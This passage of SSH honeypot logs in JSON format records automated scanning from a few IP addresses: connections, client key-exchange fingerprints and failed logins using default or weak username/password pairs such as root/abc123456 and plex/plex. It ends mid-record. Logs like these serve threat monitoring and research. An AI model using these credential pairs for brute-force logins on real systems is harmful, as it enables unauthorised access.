{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:43.866610Z","src_ip":"91.92.40.171","session":"90d9e9937df3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:44.337514Z","src_ip":"91.92.42.133","session":"9dfc783daaf5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1","message":"login attempt [ubuntu/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:44.394557Z","src_ip":"91.92.40.171","session":"90d9e9937df3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:45.513676Z","src_ip":"91.92.40.171","session":"90d9e9937df3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":53384,"dst_ip":"159.203.135.109","dst_port":22,"session":"36c17150f01b","protocol":"ssh","message":"New connection: 91.92.40.171:53384 (159.203.135.109:22) [session: 36c17150f01b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:49.213098Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":55146,"dst_ip":"159.203.135.109","dst_port":22,"session":"3b54a79d112c","protocol":"ssh","message":"New connection: 91.92.42.133:55146 (159.203.135.109:22) [session: 3b54a79d112c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:49.255489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:49.292326Z","src_ip":"91.92.40.171","session":"36c17150f01b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:49.399157Z","src_ip":"91.92.40.171","session":"36c17150f01b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:49.408734Z","src_ip":"91.92.42.133","session":"3b54a79d112c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:49.411631Z","src_ip":"91.92.42.133","session":"3b54a79d112c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:49.919547Z","src_ip":"91.92.40.171","session":"36c17150f01b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deployer","password":"deployer","message":"login attempt [deployer/deployer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:50.037205Z","src_ip":"91.92.40.171","session":"c60c4a6c67b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:50.651532Z","src_ip":"91.92.42.133","session":"3b54a79d112c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:51.169011Z","src_ip":"91.92.40.171","session":"36c17150f01b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:52.139842Z","src_ip":"91.92.42.133","session":"3b54a79d112c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"11.9","message":"Connection lost after 11.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:52.208586Z","src_ip":"91.92.40.171","session":"c60c4a6c67b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52284,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d202ae41516","protocol":"ssh","message":"New connection: 91.92.42.133:52284 (159.203.135.109:22) [session: 9d202ae41516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:56.199489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:56.478900Z","src_ip":"91.92.42.133","session":"9d202ae41516","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:56.481874Z","src_ip":"91.92.42.133","session":"9d202ae41516","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":50706,"dst_ip":"159.203.135.109","dst_port":22,"session":"c876db466550","protocol":"ssh","message":"New connection: 91.92.40.171:50706 (159.203.135.109:22) [session: c876db466550]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:56.983084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:56.986454Z","src_ip":"91.92.40.171","session":"c876db466550","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":53454,"dst_ip":"10.17.0.5","dst_port":22,"session":"43087fee818b","protocol":"ssh","message":"New connection: 103.149.28.157:53454 (10.17.0.5:22) [session: 43087fee818b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:57.831317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:57.838708Z","src_ip":"103.149.28.157","session":"43087fee818b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rancher","password":"rancher","message":"login attempt [rancher/rancher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:58.060304Z","src_ip":"91.92.42.133","session":"9d202ae41516","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:58.093205Z","src_ip":"103.149.28.157","session":"43087fee818b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:58.100020Z","src_ip":"91.92.40.171","session":"c876db466550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"280887","message":"login attempt [root/280887] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:58.862094Z","src_ip":"103.149.28.157","session":"43087fee818b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:11:59.803195Z","src_ip":"91.92.42.133","session":"9d202ae41516","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:00.116694Z","src_ip":"103.149.28.157","session":"43087fee818b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":50772,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea7d3c0d4a2d","protocol":"ssh","message":"New connection: 91.92.40.171:50772 (159.203.135.109:22) [session: ea7d3c0d4a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:00.437166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:00.462504Z","src_ip":"91.92.40.171","session":"ea7d3c0d4a2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:00.535649Z","src_ip":"91.92.40.171","session":"ea7d3c0d4a2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:01.141184Z","src_ip":"91.92.40.171","session":"ea7d3c0d4a2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52346,"dst_ip":"159.203.135.109","dst_port":22,"session":"232b1420192c","protocol":"ssh","message":"New connection: 91.92.42.133:52346 (159.203.135.109:22) [session: 232b1420192c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:02.096583Z"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"12345","message":"login attempt [odoo17/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:02.171336Z","src_ip":"91.92.40.171","session":"c876db466550","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:02.245946Z","src_ip":"91.92.40.171","session":"ea7d3c0d4a2d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:02.572494Z","src_ip":"91.92.42.133","session":"232b1420192c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:02.575763Z","src_ip":"91.92.42.133","session":"232b1420192c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.3","message":"Connection lost after 7.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:04.278501Z","src_ip":"91.92.40.171","session":"c876db466550","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fa","password":"fa","message":"login attempt [fa/fa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:05.860303Z","src_ip":"91.92.42.133","session":"232b1420192c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":52620,"dst_ip":"159.203.135.109","dst_port":22,"session":"20037f12ea06","protocol":"ssh","message":"New connection: 91.92.40.171:52620 (159.203.135.109:22) [session: 20037f12ea06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:05.943785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:12:05.976324Z","src_ip":"91.92.40.171","session":"20037f12ea06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ec